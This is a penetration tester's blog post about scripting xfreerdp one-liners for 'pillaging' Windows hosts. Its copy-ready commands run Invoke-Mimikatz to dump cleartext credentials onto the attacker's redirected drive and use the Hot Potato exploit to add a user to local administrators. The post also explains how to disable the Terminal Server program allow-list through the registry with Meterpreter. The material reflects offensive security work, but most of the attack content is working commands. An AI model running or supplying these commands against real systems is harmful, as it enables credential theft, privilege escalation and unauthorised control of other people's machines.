Previous posts on the WarRoom have addressed expediting the use of remote desktop to facilitate pillaging. This post explores scripting commands through an RDP client to serve that same purpose. The end result is one-liner that will log in to a remote system, attach a local directory, execute a script, and save the output to that same local directory, provided the attacker has the credentials and the environment supports it (more on that below). It’s worth making the caveat that, in terms of stealth or OpSec, remote desktop is not great. It’s definitely more of an “easy button,” but it can certainly proves itself useful, especially when leveraged to complete multiple tasks with a single key press.
For connecting to a Microsoft Windows box from a Linux distro, rdesktop is often the go-to choice since it comes bundled in Ubuntu, Kali, and other Linux distros. Though rdesktop’s help menu mentions the shell flag (-s), I have not had success with scripting using rdesktop. Instead, the method described in this post uses the freerdp project and its command line tool xfreerdp. Though it’s included in the official Ubuntu repository, the version there appears out-of-date. The best approach would be to install it from git according to the instructions provided by the freerdp project.
Run xfreerdp with no arguments to see the range of options it provides, which are more extensive than rdesktop. In addition to the obvious username, domain, and password, several arguments are of particular interest:
/drive: Which allows redirecting a local drive to the remote machine;
/app: Which executes the specified program upon connecting.
/app-cmd: Which passes command-line parameters to the above application.
Using these parameters allows the person completing the connection to facilitate the execution of whatever rote task he or she is seeking to speed up or automate.
This example uses the Powershell implementation of the universally beloved mimikatz, which can be retrieved here.
The full command, which passes the appropriate credentials and makes use of all the parameters noted above, is as follows:
xfreerdp /u:Administrator /p:Password123 /drive:local,/home/digby/pillage /app:cmd.exe /app-cmd:"cmd.exe /k net use X: \\tsclient\local & X: & mimi.bat & logoff" /v:192.168.0.100
This will connect to the target machine using the username Administrator and the password Password123. Upon connecting, it will redirect a local drive (home/digby/pillage) as a resource to the target machine with the name “tsclient.”
The /app: flag means that cmd.exe will be executed upon connecting. This will result in the attacker receiving an interactive cmd.exe window rather than a full desktop, and could similarly be used to run other specific programs, such as Notepad, Napster or iTunes, for example.
/app-cmd:"cmd.exe /k net use X: \\tsclient\local & X: & mimi.bat & logoff” indicates that upon launching cmd.exe, xfreerdp will automatically supply it with the above commands. The command mounts the redirected local drive, changes to that drive, and runs a batch file called mimi.bat. The text of mimi.bat is as follows:
powershell.exe -ep bypass ; import-module ./Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -DumpCreds >> %COMPUTERNAME%.txt
This launches powershell bypassing the execution policy, imports the Invoke-Mimikatz module, executes it with the –DumpCreds flag, and writes the output to a file named after the targeted machine. Though this is running on the target machine, the .bat file resides on our local drive, and the output will be saved there as well.
After the file is written, xfreerdp logs off the session. Provided everything went well, a text file with some cleratext credentials has been deposited in the folder of choice. Assuming the administrative credentials work on multiple systems, all one needs is the IP of the targeted system. Using a single command to do all these processes opens up the possibility of more scripting and automation, and makes the remote desktop “easy button” that much more appealing.
And Potato, too.
This post first went up on January 18th, two days after the “Hot Potato” (aka: Potato) windows privilege escalation exploit was posted. The following week I had the distinct pleasure of using Potato on a penetration test. I had a smattering of user credentials, and though users were able to RDP in to their own machines, they did not have local administrative rights. This means I had GUI access but limited privileges, which was the perfect combination for Potato as demonstrated by the author, breenmachine, here.
Here’s a command that logs in, mounts a local drive, changes into that directory, and executes Potato with a command that elevates the user you logged in as to a local administrator:
xfreerdp /u:Test /p:Password123! /drive:local,/home/digby/pillage /app:cmd.exe /app-cmd:"cmd.exe /k net use X: \\tsclient\local & X: & Potato.exe -ip 192.168.0.100 -disable_exhaust true -cmd \"cmd.exe /k net localgroup administrators Test /add\"" /v:192.168.0.100
Note that in this scenario the username (“Test”) and IP (“192.168.0.100”) should correspond in both places within the command, since Potato in this use requires the local IP as the argument, and we’re elevating the same user to local admin. Of course one could have Potato execute another command, this is simply the example used by the author. And when done via an xfreerdp one liner, rapid lateral and vertical escalation becomes that much quicker.
What’s the catch?
Obviously, the strength of RDP that we’re abusing here is its ability to launch specific programs and pass them specific commands. However, this ability might not be enabled. The following error indicates that RDP is not permitted to execute the program specified after the “/app:” flag:
[08:32:30:562] [2763:2767] [ERROR][com.freerdp.client.x11] - RAIL exec error: execResult=RAIL_EXEC_E_NOT_IN_ALLOWLIST NtError=0x15
As it turns out, Microsoft Terminal Server can be configured to either allow the execution of specific programs (as dicated by the “AllowList”), or use of the Allow List as a filter can be disabled completely. The Allow List is a registry key located here:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\TSAppAllowList
Within the TSAppAllowList there is a value named “fDisabledAllowList.” When fDisabledAllowList is set to 0 (as pictured above), the AllowList is not disabled (otherwise known as “enabled”) and programs that are not specifically allowed cannot be executed directly by RDP. Setting this value to 1 does disable use of the list as a filter, RDP should be able to launch a program designated by the remote connector.
Fans of Metrepreter know that it provides a powerful method for viewing and interacting with the Windows registry. As such, it could be used to confirm and change the value of fDisabledAllowList if necessary or desired.
Use the “reg enumkey” command to view the values associated with a particular key:
To drill deeper into the value of a particular key, use the “reg queryval” command, specifying the key (-k) and value (-v):
Of course we can also change the value with the “reg setval” command:
Having set the value to one, one can now execute the program of their choice with a successful RDP connection.
Obviously, having a SYSTEM shell on the targeted system may obviate the need to mess with particular registry values to enhance RDP capabilities. However, depending on the specific intent, enabling this feature may be worth it to leverage the scripting ability. And it’s always useful to know the underlying registry values that make elements of Windows tick, and remind ourselves of Meterpreter’s ability to interact with them.
digby sends.
